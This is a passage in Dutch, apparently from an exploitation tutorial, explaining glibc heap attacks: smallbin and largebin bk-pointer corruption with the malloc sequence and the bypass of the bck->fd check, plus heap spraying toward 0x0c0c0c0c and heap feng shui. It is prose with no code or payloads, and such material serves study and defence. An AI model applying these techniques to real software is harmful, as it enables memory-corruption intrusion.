Daar is nodig: Reserveer twee mallocs, zodat de eerste kan worden overschreven nadat de tweede is vrijgegeven en in zijn bin is geplaatst (dwz een malloc van een grotere grootte dan de tweede malloc voor de overflow).
De malloc die de aanvaller kiest, moet door de aanvaller kunnen worden gecontroleerd.
Het doel is als volgt: als we een overflow kunnen veroorzaken naar een heap die een vrijgegeven stuk eronder heeft en in zijn bin staat, kunnen we zijn bk-pointer wijzigen. Door de bk-pointer te wijzigen en dit stuk het eerste in de bin-lijst wordt en wordt gereserveerd, zal de bin worden misleid en geloven dat het volgende stuk in de valse richting ligt die we hebben opgegeven (bijvoorbeeld naar de stack of GOT). Als er dan een ander stuk wordt gereserveerd en de aanvaller er machtigingen voor heeft, zal het stuk op de gewenste locatie worden gegeven en kan erin worden geschreven.
Na het vrijgeven van het gewijzigde stuk is het nodig om een groter stuk te reserveren dan het vrijgegeven stuk, zodat het gewijzigde stuk uit de unsorted bins komt en in zijn bin wordt geplaatst.
Eenmaal in zijn bin is het tijd om de bk-pointer te wijzigen via de overflow zodat deze wijst naar het adres dat we willen overschrijven.
De bin moet wachten tot er voldoende keren malloc() is aangeroepen om de gewijzigde bin opnieuw te gebruiken en de bin te misleiden door te geloven dat het volgende stuk zich op het valse adres bevindt. Vervolgens wordt het gewenste stuk gegeven.
Om de kwetsbaarheid zo snel mogelijk te activeren, is het ideaal om: het kwetsbare stuk te reserveren, het stuk dat zal worden gewijzigd te reserveren, dit stuk vrij te geven, een groter stuk dan het te wijzigen stuk te reserveren, het stuk te wijzigen (kwetsbaarheid), een stuk van dezelfde grootte als het aangetaste stuk te reserveren en een tweede stuk van dezelfde grootte te reserveren dat zal wijzen naar het gekozen adres.
Om deze aanval te beschermen, wordt de typische controle gebruikt dat het stuk "niet" vals is: wordt gecontroleerd of bck->fd naar het slachtoffer wijst. Met andere woorden, in ons geval, als de fd*-pointer van het valse stuk dat naar de stack wijst naar het slachtoffer. Om deze bescherming te omzeilen, moet de aanvaller op de juiste manier kunnen schrijven (waarschijnlijk via de stack) naar het juiste adres van het slachtoffer. Zo lijkt het een echt stuk.
Corruptie LargeBin
Dezelfde vereisten als voorheen zijn nodig, en nog wat meer, bovendien moeten de gereserveerde stukken groter zijn dan 512.
De aanval is vergelijkbaar met de vorige, dat wil zeggen, het bk-pointer moet worden gewijzigd en al die oproepen naar malloc() zijn nodig, maar bovendien moet de grootte van het gewijzigde stuk worden aangepast zodat die grootte - nb < MINSIZE is.
Bijvoorbeeld, het instellen van de grootte op 1552 zodat 1552 - 1544 = 8 < MINSIZE (de aftrek kan niet negatief zijn omdat een unsigned wordt vergeleken).
Er is ook een patch geïntroduceerd om het nog ingewikkelder te maken.
Heap Spraying
Het komt er in feite op neer om zoveel mogelijk geheugen te reserveren voor heaps en deze te vullen met een nop-kussen gevolgd door een shellcode. Bovendien wordt 0x0c gebruikt als kussen. Er zal worden geprobeerd om naar het adres 0x0c0c0c0c te springen, dus als een adres dat met dit kussen wordt overschreven, zal daar naartoe worden gesprongen. De tactiek is in feite om zoveel mogelijk te reserveren om te zien of er een pointer wordt overschreven en naar 0x0c0c0c0c te springen in de hoop dat daar nops zijn.
Heap Feng Shui
Dit houdt in dat door reserveringen en vrijgaven het geheugen zo wordt georganiseerd dat er gereserveerde stukken tussen vrije stukken blijven. Het te overstromen buffer zal zich in een van deze stukken bevinden.